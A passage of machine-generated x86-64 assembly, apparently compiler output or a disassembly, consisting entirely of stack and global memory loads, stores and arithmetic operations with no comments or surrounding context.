mov ecx, dword [rsp + 0x6fc8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6d30], eax
mov rax, qword [rsp + 0xc240]
mov qword [rsp + 0xf0f0], rax
mov rax, qword [rsp + 0xe470]
mov rcx, qword [rsp + 0xd528]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x68fc], eax
movzx eax, word [rsp + 0x1a68]
mov word [0x1402c9778], ax
mov rax, qword [rsp + 0xc250]
movzx eax, byte [rax]
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0xc9d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb18]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xf0b0]
mov byte [rcx], al
movzx eax, word [0x1402c92e8]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc0d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1f8]
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0xd518]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2d8]
mov qword [rsp + 0xf0f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf0f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xe330], rax
lea rax, [rsp + 0x6d84]
mov qword [rsp + 0xf100], rax
mov rax, qword [rsp + 0xe690]
mov rcx, qword [rsp + 0xee80]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xeaa0], rax
mov rax, qword [rsp + 0xe5c8]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ba0], eax
movsx eax, word [rsp + 0x17a8]
mov rcx, qword [rsp + 0xdc48]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1402c91a0], ax
lea rax, [rsp + 0x1ba0]
mov qword [rsp + 0xf108], rax
movzx eax, byte [rsp + 0x6f]
mov rcx, qword [0x1402c9290]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
movzx eax, word [rsp + 0x162c]
mov word [rsp + 0x1c18], ax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb0]
sub eax, ecx
mov rcx, qword [rsp + 0xd450]
mov byte [rcx], al
mov rax, qword [rsp + 0xea18]
mov rcx, qword [rsp + 0xd2d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xd7f8]
mov qword [rcx], rax
lea rax, [rsp + 0x6d8c]
mov qword [rsp + 0xf110], rax
mov rax, qword [rsp + 0xbe08]
mov rcx, qword [rsp + 0xc720]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe538]
mov qword [rcx], rax
lea rax, [rsp + 0x69d0]
mov qword [rsp + 0xf118], rax
movzx eax, byte [0x1402c90b4]
movzx ecx, byte [rsp + 0x165]
sub eax, ecx
mov byte [0x1402c7547], al
movzx eax, word [rsp + 0x1954]
mov rcx, qword [rsp + 0xd2b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe878]
mov word [rcx], ax
movsx eax, word [0x1402c74ac]
movsx ecx, word [rsp + 0x1c10]
add eax, ecx
mov word [rsp + 0x17f4], ax
lea rax, [rsp + 0x19f]
mov qword [rsp + 0xf120], rax
movsx eax, byte [rsp + 0xb2]
movsx ecx, byte [rsp + 0x9c]
or eax, ecx
mov byte [rsp + 0x119], al
lea rax, [rsp + 0xc6a8]
mov qword [rsp + 0xf128], rax
mov eax, dword [rsp + 0x69cc]
mov rcx, qword [rsp + 0xecd8]
mov qword [rsp + 0xf130], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf130]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xe4a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6e08]
mov dword [rsp + 0x6ff8], eax
mov rax, qword [rsp + 0xd480]
mov rcx, qword [rsp + 0xf050]
mov qword [rsp + 0xf138], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf138]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc3f0]
mov qword [rcx], rax
movzx eax, word [rsp + 0x19fc]
mov rcx, qword [rsp + 0xe688]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1402c9430]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf2]
movsx ecx, byte [rsp + 0x52]
and eax, ecx
mov rcx, qword [rsp + 0xd1e0]
mov byte [rcx], al
lea rax, [rsp + 0x6b]
mov qword [rsp + 0xf140], rax
mov rax, qword [rsp + 0xc658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc178]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xe3e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xf140]
movzx eax, byte [rax]
mov byte [rsp + 0x21c], al
mov rax, qword [rsp + 0xc118]
mov ecx, dword [rsp + 0x6a1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f94], eax
mov rax, qword [rsp + 0xc568]
mov rcx, qword [rsp + 0xd1a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcc28], rax
lea rax, [rsp + 0xe270]
mov qword [rsp + 0xf148], rax
mov rax, qword [rsp + 0xccc8]
mov ecx, dword [rsp + 0x6f30]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f78], eax
movsx eax, word [rsp + 0x1a18]
movsx ecx, word [rsp + 0x16f8]
sub eax, ecx
mov word [0x1402c7608], ax
movzx eax, byte [rsp + 0x191]
mov byte [rsp + 0x21d], al
mov rax, qword [0x1402c92b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcb88]
movsx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x15c], al
movzx eax, word [rsp + 0x1560]
movzx ecx, word [rsp + 0x1894]
and eax, ecx
mov rcx, qword [rsp + 0xc560]
mov word [rcx], ax
mov rax, qword [rsp + 0xe800]
movzx eax, byte [rax]
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0xebf0]
mov eax, dword [rax]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6cac], eax
lea rax, [rsp + 0x6b94]
mov qword [rsp + 0xf150], rax
mov rax, qword [rsp + 0xd2a8]
mov rcx, qword [rsp + 0xbea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xdc08], rax
mov rax, qword [rsp + 0xd6a0]
mov qword [rsp + 0xf158], rax
movzx eax, word [rsp + 0x1594]
mov rcx, qword [rsp + 0xdcd0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c7548], ax
mov rax, qword [rsp + 0xce88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x124]
sar eax, cl
mov byte [rsp + 0x1c3], al
movsx eax, word [rsp + 0x19d0]
mov rcx, qword [rsp + 0xcce0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19a0], ax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
mov byte [rsp + 0x21f], al
movzx eax, word [rsp + 0x1858]
movzx ecx, word [rsp + 0x17a0]
cdq
idiv ecx
mov word [rsp + 0x1928], ax
lea rax, [rsp + 0x6a10]
mov qword [rsp + 0xf160], rax
mov rax, qword [rsp + 0xd908]
movzx ecx, al
mov rax, qword [rsp + 0xc120]
shl rax, cl
mov rcx, qword [rsp + 0xe198]
mov qword [rcx], rax
mov rax, qword [rsp + 0xd728]
mov rcx, qword [rsp + 0xec00]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xcfc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xce38]
mov eax, dword [rax]
mov dword [rsp + 0x6ffc], eax
movzx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0xd078]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x1402c9280]
mov byte [rcx], al
mov rax, qword [0x1402c9758]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x20e]
add eax, ecx
mov rcx, qword [rsp + 0xc640]
mov byte [rcx], al
lea rax, [rsp + 0x1788]
mov qword [rsp + 0xf168], rax
mov rax, qword [rsp + 0xeec8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd00]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xdc48]
mov word [rcx], ax
movsx eax, word [0x1402c9528]
mov rcx, qword [rsp + 0xd328]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd630]
mov word [rcx], ax
lea rax, [rsp + 0x6c34]
mov qword [rsp + 0xf170], rax
mov rax, qword [rsp + 0xe498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc028]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xec00]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6bd4]
mov dword [rsp + 0x7000], eax
mov rax, qword [rsp + 0xc438]
mov rcx, qword [rsp + 0xd4d0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe160], rax
movzx eax, word [rsp + 0x1898]
mov rcx, qword [rsp + 0xd6d0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1b10], ax
movzx eax, byte [rsp + 0x73]
mov byte [0x1402c916a], al
mov rax, qword [rsp + 0xc618]
movzx eax, byte [rax]
mov byte [rsp + 0x220], al
mov rax, qword [rsp + 0xe3e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b90]
and eax, ecx
mov word [rsp + 0x18e4], ax
movzx eax, word [rsp + 0x19f0]
mov word [rsp + 0x1c1c], ax
mov rax, qword [rsp + 0xe698]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe768]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd5f0], rax
lea rax, [rsp + 0xe518]
mov qword [rsp + 0xf178], rax
mov rax, qword [rsp + 0xe2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcda0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6a28]
shl eax, cl
mov dword [rsp + 0x6f98], eax
movzx eax, byte [rsp + 0x10a]
mov byte [rsp + 0x221], al
movzx eax, byte [rsp + 0x18a]
movzx ecx, byte [0x1402c74b7]
sar eax, cl
mov rcx, qword [0x1402c93b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xddc8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1b00], ax
mov rax, qword [rsp + 0xd148]
movzx eax, word [rax]
mov word [rsp + 0x1c20], ax
movsx eax, word [rsp + 0x1aa8]
mov rcx, qword [0x1402c9640]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x16fc], ax
mov rax, qword [rsp + 0xde70]
mov rcx, qword [rsp + 0xcee0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbd50]
mov qword [rcx], rax
lea rax, [rsp + 0x6ec4]
mov qword [rsp + 0xf180], rax
mov rax, qword [rsp + 0xc090]
mov rcx, qword [rsp + 0xe3f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd980]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe870]
mov rax, qword [rax]
mov qword [rsp + 0xf188], rax
mov rax, qword [rsp + 0xe688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a28]
sub eax, ecx
mov word [rsp + 0x1608], ax
lea rax, [0x1402c7547]
mov qword [0x1402c9780], rax
movsx eax, word [rsp + 0x1b44]
mov rcx, qword [rsp + 0xde48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd558]
mov word [rcx], ax
mov rax, qword [rsp + 0xe928]
movzx eax, byte [rax]
mov byte [rsp + 0x222], al
mov rax, qword [rsp + 0xd078]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74b3]
sub eax, ecx
mov rcx, qword [rsp + 0xcfe8]
mov byte [rcx], al
lea rax, [rsp + 0x6aac]
mov qword [rsp + 0xf190], rax
mov rax, qword [rsp + 0xde50]
mov rcx, qword [rsp + 0xec60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xe300]
mov qword [rcx], rax
mov rax, qword [rsp + 0xca88]
mov rax, qword [rax]
mov qword [rsp + 0xf198], rax
mov rax, qword [rsp + 0xec08]
mov rcx, qword [rsp + 0xd8d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xca10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd798]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbfe8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x52], al
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
movzx ecx, word [0x1402c91f8]
add eax, ecx
mov word [0x1402c760c], ax
movzx eax, byte [rsp + 0xe9]
mov byte [rsp + 0x223], al
mov rax, qword [rsp + 0xe418]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe7b0]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbb50]
mov byte [rcx], al
lea rax, [rsp + 0x1668]
mov qword [rsp + 0xf1a0], rax
movzx eax, word [rsp + 0x1ab8]
mov rcx, qword [rsp + 0xe818]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0xbcd8]
mov word [rcx], ax
mov rax, qword [rsp + 0xec60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xeaf0]
mov qword [rsp + 0xf1a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf1a8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xe998], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xf1b0], rax
mov rax, qword [rsp + 0xc990]
mov rcx, qword [rsp + 0xe828]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xca88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xea48]
mov eax, dword [rax]
mov dword [rsp + 0x7004], eax
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74df]
sar eax, cl
mov rcx, qword [0x1402c9270]
mov byte [rcx], al
movsx eax, word [rsp + 0x15bc]
movsx ecx, word [rsp + 0x15b4]
xor eax, ecx
mov rcx, qword [rsp + 0xd688]
mov word [rcx], ax
movsx eax, byte [rsp + 0x61]
movsx ecx, byte [rsp + 0xb2]
add eax, ecx
mov byte [rsp + 0x19f], al
movzx eax, word [rsp + 0x171c]
mov word [rsp + 0x1c24], ax
mov rax, qword [rsp + 0xd360]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe350]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x143], al
mov rax, qword [rsp + 0xc678]
mov qword [rsp + 0xf1b8], rax
mov rax, qword [rsp + 0xe3f0]
mov ecx, dword [rsp + 0x6db8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbc00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc568]
mov rcx, qword [rsp + 0xe400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xdd38], rax
lea rax, [rsp + 0x6a54]
mov qword [rsp + 0xf1c0], rax
movsx eax, word [0x1402c74b8]
movsx ecx, word [rsp + 0x16ac]
sub eax, ecx
mov word [0x1402c7610], ax
mov rax, qword [rsp + 0xecb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1b10]
sub eax, ecx
mov rcx, qword [rsp + 0xec18]
mov word [rcx], ax
mov rax, qword [rsp + 0xdde0]
movzx eax, word [rax]
mov word [rsp + 0x1c28], ax
movsx eax, byte [0x1402c748a]
movsx ecx, byte [rsp + 0x5e]
add eax, ecx
mov byte [rsp + 0x149], al
lea rax, [rsp + 0x1a9]
mov qword [rsp + 0xf1c8], rax
mov eax, dword [rsp + 0x6cc0]
mov ecx, dword [rsp + 0x6efc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xd460]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd168]
mov rcx, qword [rsp + 0xd900]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xdb88], rax
mov rax, qword [rsp + 0xe888]
mov rax, qword [rax]
mov qword [rsp + 0xf1d0], rax
mov rax, qword [rsp + 0xe4a8]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc4b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [rsp + 0xcf48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74e3], al
movzx eax, byte [rsp + 0x1e1]
mov byte [rsp + 0x224], al
mov rax, qword [rsp + 0xe708]
movzx eax, word [rax]
movzx ecx, word [0x1402c75a0]
or eax, ecx
mov word [rsp + 0x1a74], ax
mov rax, qword [rsp + 0xe018]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd170]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1724], ax
lea rax, [rsp + 0x20a]
mov qword [rsp + 0xf1d8], rax
mov rax, qword [rsp + 0xdb70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xebe8]
mov qword [rsp + 0xf1e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf1e0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xcc28], rax
mov rax, qword [rsp + 0xcb38]
mov eax, dword [rax]
mov dword [rsp + 0x7008], eax
mov rax, qword [rsp + 0xd190]
mov ecx, dword [rsp + 0x6de4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xdba0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xdb78]
mov rcx, qword [rsp + 0xd1f0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xe328], rax
movsx eax, word [rsp + 0x1804]
movsx ecx, word [rsp + 0x1940]
add eax, ecx
mov word [0x1402c91a0], ax
mov rax, qword [rsp + 0xe9a8]
movzx eax, word [rax]
mov word [rsp + 0x1c2c], ax
movsx eax, byte [0x1402c74ae]
mov rcx, qword [rsp + 0xe7a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x16b], al
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
mov byte [rsp + 0x225], al
movzx eax, word [rsp + 0x1848]
movzx ecx, word [rsp + 0x1b00]
and eax, ecx
mov word [rsp + 0x1c24], ax
mov rax, qword [rsp + 0xc3d0]
mov ecx, dword [rsp + 0x6bd8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xd5b8]
mov dword [rcx], eax
lea rax, [rsp + 0xdf20]
mov qword [rsp + 0xf1e8], rax
mov rax, qword [rsp + 0xd7f8]
mov rcx, qword [rsp + 0xc950]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdb28], rax
lea rax, [rsp + 0x6f60]
mov qword [rsp + 0xf1f0], rax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfd]
add eax, ecx
mov byte [0x1402c754a], al
movsx eax, byte [rsp + 0x1ed]
movsx ecx, byte [rsp + 0xcf]
sub eax, ecx
mov byte [rsp + 0x153], al
mov rax, qword [0x1402c9740]
movzx eax, word [rax]
mov word [rsp + 0x1c30], ax
movsx eax, byte [rsp + 0x1ed]
mov rcx, qword [rsp + 0xe660]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x117], al
mov rax, qword [rsp + 0xd378]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20a]
shl eax, cl
mov rcx, qword [rsp + 0xef18]
mov byte [rcx], al
mov rax, qword [0x1402c7490]
mov qword [rsp + 0xf1f8], rax
mov rax, qword [rsp + 0xc850]
mov rcx, qword [rsp + 0xbd68]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6e10], eax
mov rax, qword [rsp + 0xea08]
mov eax, dword [rax]
mov dword [rsp + 0x700c], eax
mov rax, qword [rsp + 0xd4b8]
mov rcx, qword [rsp + 0xe810]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xd968], rax
movzx eax, word [rsp + 0x1550]
mov word [0x1402c9788], ax
mov rax, qword [rsp + 0xd768]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19c0]
sar eax, cl
mov rcx, qword [rsp + 0xdea8]
mov word [rcx], ax
lea rax, [rsp + 0x1fd]
mov qword [rsp + 0xf200], rax
movsx eax, byte [rsp + 0x142]
cdq
mov ecx, 0x42
idiv ecx
mov byte [rsp + 0x130], al
lea rax, [rsp + 0x19e0]
mov qword [rsp + 0xf208], rax
mov rax, qword [0x1402c7490]
mov rcx, qword [rsp + 0xcb10]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xf0e8], rax
mov rax, qword [rsp + 0xf0a0]
mov ecx, dword [rsp + 0x6c1c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6918], eax
lea rax, [rsp + 0xdcc8]
mov qword [rsp + 0xf210], rax
mov eax, dword [rsp + 0x6aec]
mov ecx, dword [rsp + 0x6cb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f84], eax
movsx eax, word [rsp + 0x18a0]
mov rcx, qword [rsp + 0xdea8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74ac], ax
movzx eax, byte [rsp + 0x181]
mov byte [rsp + 0x226], al
movsx eax, word [0x1402c7504]
mov rcx, qword [rsp + 0xc030]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcf70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x10f]
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0xd740]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe688]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x19d4], ax
mov rax, qword [rsp + 0xd270]
mov rcx, qword [rsp + 0xd560]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc2d8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x69f8]
mov dword [rsp + 0x7010], eax
mov rax, qword [rsp + 0xcbb8]
mov rcx, qword [rsp + 0xda98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xe320], rax
mov rax, qword [rsp + 0xdff8]
mov eax, dword [rax]
mov dword [rsp + 0x7014], eax
movzx eax, word [rsp + 0x1620]
mov rcx, qword [rsp + 0xd028]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1900], ax
movsx eax, byte [rsp + 0x222]
mov rcx, qword [rsp + 0xe660]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9538]
mov byte [rcx], al
movsx eax, word [0x1402c7570]
movsx ecx, word [rsp + 0x15f8]
xor eax, ecx
mov rcx, qword [rsp + 0xcce0]
mov word [rcx], ax
mov rax, qword [rsp + 0xeb40]
movzx eax, byte [rax]
mov byte [rsp + 0x228], al
movsx eax, byte [rsp + 0x172]
mov rcx, qword [rsp + 0xee88]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1c3], al
lea rax, [rsp + 0x6ed4]
mov qword [rsp + 0xf218], rax
mov rax, qword [rsp + 0xe6d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xe720]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd6d8], rax
mov eax, dword [0x1402c7498]
movzx ecx, al
mov eax, dword [rsp + 0x6bf8]
sar eax, cl
mov rcx, qword [rsp + 0xe588]
mov dword [rcx], eax
mov rax, qword [rsp + 0xed48]
mov rax, qword [rax]
mov qword [rsp + 0xf220], rax
movzx eax, word [rsp + 0x1c0c]
mov rcx, qword [rsp + 0xefc0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x184c], ax
lea rax, [rsp + 0x15ec]
mov qword [0x1402c9790], rax
movzx eax, byte [rsp + 0x59]
mov byte [rsp + 0x229], al
mov rax, qword [rsp + 0xdcd0]
movzx eax, word [rax]
imul eax, eax, 0x325
mov rcx, qword [rsp + 0xc4e8]
mov word [rcx], ax
movsx eax, word [rsp + 0x17d8]
movsx ecx, word [rsp + 0x1654]
sub eax, ecx
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xcdb8]
mov qword [rsp + 0xf228], rax
mov rax, qword [rsp + 0xf100]
mov ecx, dword [rsp + 0x6c18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ff8], eax
mov eax, dword [rsp + 0x6e4c]
mov dword [rsp + 0x7018], eax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc518]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xede0], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0xf230], rax
mov rax, qword [rsp + 0xea70]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19c8]
add eax, ecx
mov rcx, qword [0x1402c9680]
mov word [rcx], ax
movsx eax, byte [rsp + 0xd0]
mov rcx, qword [rsp + 0xda10]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd258]
mov byte [rcx], al
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xeb58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xb0], al
movzx eax, byte [rsp + 0xff]
mov byte [rsp + 0x22a], al
mov rax, qword [rsp + 0xd8b8]
mov eax, dword [rax]
imul eax, dword [rsp + 0x6dd4]
mov dword [rsp + 0x6978], eax
mov rax, qword [rsp + 0xec70]
mov qword [rsp + 0xf238], rax
mov rax, qword [rsp + 0xcf38]
mov rcx, qword [rsp + 0xcf08]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6dec], eax
mov rax, qword [rsp + 0xe4c8]
mov rcx, qword [rsp + 0xd0c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbdc8], rax
movzx eax, word [rsp + 0x1a80]
mov word [rsp + 0x1c34], ax
lea rax, [rsp + 0x159c]
mov qword [0x1402c9798], rax
mov rax, qword [0x1402c9470]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11e]
sub eax, ecx
mov rcx, qword [rsp + 0xcb90]
mov byte [rcx], al
movzx eax, word [rsp + 0x17f4]
mov word [rsp + 0x1c38], ax
movzx eax, byte [rsp + 0x111]
movzx ecx, byte [rsp + 0x211]
shl eax, cl
mov rcx, qword [rsp + 0xcaa0]
mov byte [rcx], al
mov rax, qword [rsp + 0xe7c0]
movsx eax, byte [rax]
cdq
mov ecx, 0x3a
idiv ecx
mov rcx, qword [rsp + 0xdb38]
mov byte [rcx], al
mov rax, qword [rsp + 0xd9d8]
mov eax, dword [rax]
mov dword [rsp + 0x701c], eax
mov eax, dword [rsp + 0x6f28]
mov rcx, qword [rsp + 0xdf58]
mov qword [rsp + 0xf240], rcx
movzx ecx, al
mov rax, qword [rsp + 0xf240]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x69ac], eax
mov rax, qword [rsp + 0xd598]
mov qword [rsp + 0xf248], rax
mov rax, qword [rsp + 0xdbd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd030]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xc2c8], rax
movsx eax, word [rsp + 0x16f8]
movsx ecx, word [rsp + 0x15e4]
or eax, ecx
mov rcx, qword [0x1402c9530]
mov word [rcx], ax
lea rax, [rsp + 0x1550]
mov qword [rsp + 0xf250], rax
movzx eax, byte [rsp + 0x209]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x140], al
movzx eax, word [rsp + 0x17c8]
mov rcx, qword [rsp + 0xbef0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbb10]
mov word [rcx], ax
mov rax, qword [rsp + 0xd648]
movzx eax, byte [rax]
mov byte [rsp + 0x22b], al
mov eax, dword [rsp + 0x6fdc]
mov ecx, dword [rsp + 0x6d00]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c8c], eax
lea rax, [rsp + 0xecc8]
mov qword [rsp + 0xf258], rax
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xbe48]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xd290], rax
mov eax, dword [rsp + 0x6e4c]
mov ecx, dword [rsp + 0x6ec4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a1c], eax
lea rax, [rsp + 0x1ae]
mov qword [0x1402c97a0], rax
mov rax, qword [0x1402c96c0]
movzx eax, byte [rax]
mov byte [rsp + 0x22c], al
movzx eax, word [rsp + 0x18f8]
movzx ecx, word [rsp + 0x15d0]
sub eax, ecx
mov word [rsp + 0x1a14], ax
mov rax, qword [rsp + 0xbaf0]
movzx eax, word [rax]
mov word [rsp + 0x1c3c], ax
movsx eax, word [rsp + 0x18e0]
mov rcx, qword [rsp + 0xc288]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x19ac], ax
mov rax, qword [rsp + 0xc7d8]
mov ecx, dword [rsp + 0x69b4]
mov eax, dword [rax]
and eax, ecx
